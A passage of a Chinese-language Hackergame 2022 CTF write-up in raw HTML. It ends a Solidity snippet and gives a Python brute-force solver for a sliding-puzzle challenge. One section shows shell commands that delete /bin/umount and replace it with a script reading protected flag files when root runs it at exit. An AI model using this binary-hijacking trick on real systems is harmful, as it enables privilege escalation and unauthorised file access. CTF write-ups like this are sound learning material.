class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kd\">function<\/span> <span class=\"nf\">recall<\/span><span class=\"p\">()<\/span> <span class=\"k\">external<\/span> <span class=\"k\">view<\/span> <span class=\"k\">returns<\/span> <span class=\"p\">(<\/span><span class=\"kt\">uint256<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"n\">v<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u4f20\u8fbe\u4e0d\u5230\u7684\u6587\u4ef6\">\u4f20\u8fbe\u4e0d\u5230\u7684\u6587\u4ef6\n<\/h2><p><code>cat \/etc\/init.d\/rcS<\/code> \u53d1\u73b0\u7ec8\u7aef\u9000\u51fa\u540e\u4f1a\u8c03\u7528 <code>\/bin\/umount<\/code>\n\u628a\u5b83\u6539\u6210\u8bfb flag \u7684\u811a\u672c\u5c31\u884c\u4e86\uff08\u4e24\u4e2aflag\u90fd\u53ef\u4ee5\u8fd9\u6837\u8bfb\u5230\uff09<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-sh\" data-lang=\"sh\"><span class=\"line\"><span class=\"cl\">\/ $ rm -rf \/bin\/umount \n<\/span><\/span><span class=\"line\"><span class=\"cl\">\/ $ <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;cat \/chall &amp;&amp; cat \/flag2&#34;<\/span> &gt; \/bin\/umount\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\/ $ chmod +x \/bin\/umount \n<\/span><\/span><span class=\"line\"><span class=\"cl\">\/ $ <span class=\"nb\">exit<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p><img alt=\"umount\" class=\"gallery-image\" data-flex-basis=\"502px\" data-flex-grow=\"209\" height=\"358\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/umount.png\" width=\"749\"><\/p>\n<h2 id=\"\u4f01\u9e45\u62fc\u76d8\">\u4f01\u9e45\u62fc\u76d8\n<\/h2><h3 id=\"\u8fd9\u4e48\u7b80\u5355\u6211\u95ed\u773c\u90fd\u53ef\u4ee5\">\u8fd9\u4e48\u7b80\u5355\u6211\u95ed\u773c\u90fd\u53ef\u4ee5\uff01\n<\/h3><p>\u624b\u52a8\u4ece <code>0000<\/code> \u5230 <code>1111<\/code> \u6328\u4e2a\u8bd5\u4e00\u904d<\/p>\n<h3 id=\"\u5927\u529b\u5f53\u7136\u51fa\u5947\u8ff9\u5566\">\u5927\u529b\u5f53\u7136\u51fa\u5947\u8ff9\u5566~\n<\/h3><p>\u5199\u4e2a\u811a\u672c\u81ea\u52a8\u4ece <code>0000000000000000<\/code> \u5230 <code>1111111111111111<\/code> \u6328\u4e2a\u8bd5\u4e00\u904d\uff08\u5728\u6211\u7684\u7535\u8111\u4e0a\u8dd1\u4e86\u5341\u51e0\u5206\u949f\uff0c\u8fd8\u662f\u53ef\u4ee5\u63a5\u53d7\u7684\uff09\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\"> 10\n<\/span><span class=\"lnt\"> 11\n<\/span><span class=\"lnt\"> 12\n<\/span><span class=\"lnt\"> 13\n<\/span><span class=\"lnt\"> 14\n<\/span><span class=\"lnt\"> 15\n<\/span><span class=\"lnt\"> 16\n<\/span><span class=\"lnt\"> 17\n<\/span><span class=\"lnt\"> 18\n<\/span><span class=\"lnt\"> 19\n<\/span><span class=\"lnt\"> 20\n<\/span><span class=\"lnt\"> 21\n<\/span><span class=\"lnt\"> 22\n<\/span><span class=\"lnt\"> 23\n<\/span><span class=\"lnt\"> 24\n<\/span><span class=\"lnt\"> 25\n<\/span><span class=\"lnt\"> 26\n<\/span><span class=\"lnt\"> 27\n<\/span><span class=\"lnt\"> 28\n<\/span><span class=\"lnt\"> 29\n<\/span><span class=\"lnt\"> 30\n<\/span><span class=\"lnt\"> 31\n<\/span><span class=\"lnt\"> 32\n<\/span><span class=\"lnt\"> 33\n<\/span><span class=\"lnt\"> 34\n<\/span><span class=\"lnt\"> 35\n<\/span><span class=\"lnt\"> 36\n<\/span><span class=\"lnt\"> 37\n<\/span><span class=\"lnt\"> 38\n<\/span><span class=\"lnt\"> 39\n<\/span><span class=\"lnt\"> 40\n<\/span><span class=\"lnt\"> 41\n<\/span><span class=\"lnt\"> 42\n<\/span><span class=\"lnt\"> 43\n<\/span><span class=\"lnt\"> 44\n<\/span><span class=\"lnt\"> 45\n<\/span><span class=\"lnt\"> 46\n<\/span><span class=\"lnt\"> 47\n<\/span><span class=\"lnt\"> 48\n<\/span><span class=\"lnt\"> 49\n<\/span><span class=\"lnt\"> 50\n<\/span><span class=\"lnt\"> 51\n<\/span><span class=\"lnt\"> 52\n<\/span><span class=\"lnt\"> 53\n<\/span><span class=\"lnt\"> 54\n<\/span><span class=\"lnt\"> 55\n<\/span><span class=\"lnt\"> 56\n<\/span><span class=\"lnt\"> 57\n<\/span><span class=\"lnt\"> 58\n<\/span><span class=\"lnt\"> 59\n<\/span><span class=\"lnt\"> 60\n<\/span><span class=\"lnt\"> 61\n<\/span><span class=\"lnt\"> 62\n<\/span><span class=\"lnt\"> 63\n<\/span><span class=\"lnt\"> 64\n<\/span><span class=\"lnt\"> 65\n<\/span><span class=\"lnt\"> 66\n<\/span><span class=\"lnt\"> 67\n<\/span><span class=\"lnt\"> 68\n<\/span><span class=\"lnt\"> 69\n<\/span><span class=\"lnt\"> 70\n<\/span><span class=\"lnt\"> 71\n<\/span><span class=\"lnt\"> 72\n<\/span><span class=\"lnt\"> 73\n<\/span><span class=\"lnt\"> 74\n<\/span><span class=\"lnt\"> 75\n<\/span><span class=\"lnt\"> 76\n<\/span><span class=\"lnt\"> 77\n<\/span><span class=\"lnt\"> 78\n<\/span><span class=\"lnt\"> 79\n<\/span><span class=\"lnt\"> 80\n<\/span><span class=\"lnt\"> 81\n<\/span><span class=\"lnt\"> 82\n<\/span><span class=\"lnt\"> 83\n<\/span><span class=\"lnt\"> 84\n<\/span><span class=\"lnt\"> 85\n<\/span><span class=\"lnt\"> 86\n<\/span><span class=\"lnt\"> 87\n<\/span><span class=\"lnt\"> 88\n<\/span><span class=\"lnt\"> 89\n<\/span><span class=\"lnt\"> 90\n<\/span><span class=\"lnt\"> 91\n<\/span><span class=\"lnt\"> 92\n<\/span><span class=\"lnt\"> 93\n<\/span><span class=\"lnt\"> 94\n<\/span><span class=\"lnt\"> 95\n<\/span><span class=\"lnt\"> 96\n<\/span><span class=\"lnt\"> 97\n<\/span><span class=\"lnt\"> 98\n<\/span><span class=\"lnt\"> 99\n<\/span><span class=\"lnt\">100\n<\/span><span class=\"lnt\">101\n<\/span><span class=\"lnt\">102\n<\/span><span class=\"lnt\">103\n<\/span><span class=\"lnt\">104\n<\/span><span class=\"lnt\">105\n<\/span><span class=\"lnt\">106\n<\/span><span class=\"lnt\">107\n<\/span><span class=\"lnt\">108\n<\/span><span class=\"lnt\">109\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-python\" data-lang=\"python\"><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">json<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">from<\/span> <span class=\"nn\">alive_progress<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">alive_it<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def<\/span> <span class=\"nf\">bits<\/span><span class=\"p\">(<\/span><span class=\"n\">length<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">2<\/span><span class=\"o\">**<\/span><span class=\"n\">length<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">s<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">bin<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">)[<\/span><span class=\"mi\">2<\/span><span class=\"p\">:]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">result<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">((<\/span><span class=\"n\">length<\/span> <span class=\"o\">-<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">))<\/span> <span class=\"o\">*<\/span> <span class=\"s1\">&#39;0&#39;<\/span> <span class=\"o\">+<\/span> <span class=\"n\">s<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"n\">result<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">class<\/span> <span class=\"nc\">Board<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__init__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[[<\/span><span class=\"n\">i<\/span> <span class=\"o\">*<\/span> <span class=\"mi\">4<\/span> <span class=\"o\">+<\/span> <span class=\"n\">j<\/span> <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">)]<\/span> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">)]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">_blkpos<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">15<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span> <span class=\"n\">j<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">reset<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"n\">i<\/span> <span class=\"o\">*<\/span> <span class=\"mi\">4<\/span> <span class=\"o\">+<\/span> <span class=\"n\">j<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">move<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">moves<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">m<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">moves<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">i<\/span><span class=\"p\">,<\/span> <span class=\"n\">j<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">_blkpos<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"n\">m<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;L&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span> <span class=\"o\">-<\/span> <span class=\"mi\">1<\/span><span class=\"p\">]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span> <span class=\"o\">-<\/span> <span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">15<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">elif<\/span> <span class=\"n\">m<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;R&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">15<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">elif<\/span> <span class=\"n\">m<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;U&#39;<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span> <span class=\"o\">-<\/span> <span class=\"mi\">1<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span> <span class=\"o\">-<\/span> <span class=\"mi\">1<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">15<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">15<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__bool__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">b<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">][<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span> <span class=\"o\">!=<\/span> <span class=\"n\">i<\/span> <span class=\"o\">*<\/span> <span class=\"mi\">4<\/span> <span class=\"o\">+<\/span> <span class=\"n\">j<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"kc\">True<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">class<\/span> <span class=\"nc\">App<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__init__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">branches<\/span><span class=\"p\">,<\/span> <span class=\"n\">inbits<\/span><span class=\"p\">)<\/span> <span class=\"o\">-&gt;<\/span> <span class=\"kc\">None<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">board<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Board<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">branches<\/span> <span class=\"o\">=<\/span> <span class=\"n\">branches<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">inbits<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"nb\">map<\/span><span class=\"p\">(<\/span><span class=\"nb\">int<\/span><span class=\"p\">,<\/span> <span class=\"n\">inbits<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">board<\/span><span class=\"o\">.<\/span><span class=\"n\">reset<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">branch<\/span> <span class=\"ow\">in<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">branches<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">board<\/span><span class=\"o\">.<\/span><span class=\"n\">move<\/span><span class=\"p\">(<\/span><span class=\"n\">branch<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"k\">if<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">inbits<\/span><span class=\"p\">[<\/span><span class=\"n\">branch<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]]<\/span> <span class=\"k\">else<\/span> <span class=\"n\">branch<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">])<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">bool<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">board<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__bool__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">)<\/span> <span class=\"o\">-&gt;<\/span> <span class=\"nb\">bool<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">result<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">success_flag<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def<\/span> <span class=\"nf\">chal<\/span><span class=\"p\">(<\/span><span class=\"n\">bitlength<\/span><span class=\"p\">,<\/span> <span class=\"n\">obf<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">filename<\/span> <span class=\"o\">=<\/span> <span class=\"sa\">f<\/span><span class=\"s1\">&#39;chals\/b<\/span><span class=\"si\">{<\/span><span class=\"n\">bitlength<\/span><span class=\"si\">}{<\/span><span class=\"s2\">&#34;_obf&#34;<\/span> <span class=\"k\">if<\/span> <span class=\"n\">obf<\/span> <span class=\"k\">else<\/span> <span class=\"s2\">&#34;&#34;<\/span><span class=\"si\">}<\/span><span class=\"s1\">.json&#39;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">branches<\/span> <span class=\"o\">=<\/span> <span class=\"n\">json<\/span><span class=\"o\">.<\/span><span class=\"n\">load<\/span><span class=\"p\">(<\/span><span class=\"n\">f<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">global<\/span> <span class=\"n\">success_flag<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">success_flag<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">inbits<\/span> <span class=\"o\">=<\/span> <span class=\"n\">bits<\/span><span class=\"p\">(<\/span><span class=\"n\">bitlength<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">alive_it<\/span><span class=\"p\">(<\/span><span class=\"n\">inbits<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"nb\">bool<\/span><span class=\"p\">(<\/span><span class=\"n\">App<\/span><span class=\"p\">(<\/span><span class=\"n\">branches<\/span><span class=\"p\">,<\/span> <span class=\"n\">i<\/span><span class=\"p\">)):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"kc\">True<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">except<\/span> <span class=\"ne\">Exception<\/span> <span class=\"k\">as<\/span> <span class=\"n\">e<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">e<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def<\/span> <span class=\"nf\">failed<\/span><span class=\"p\">():<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#34;?&#34;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">exit<\/span><span 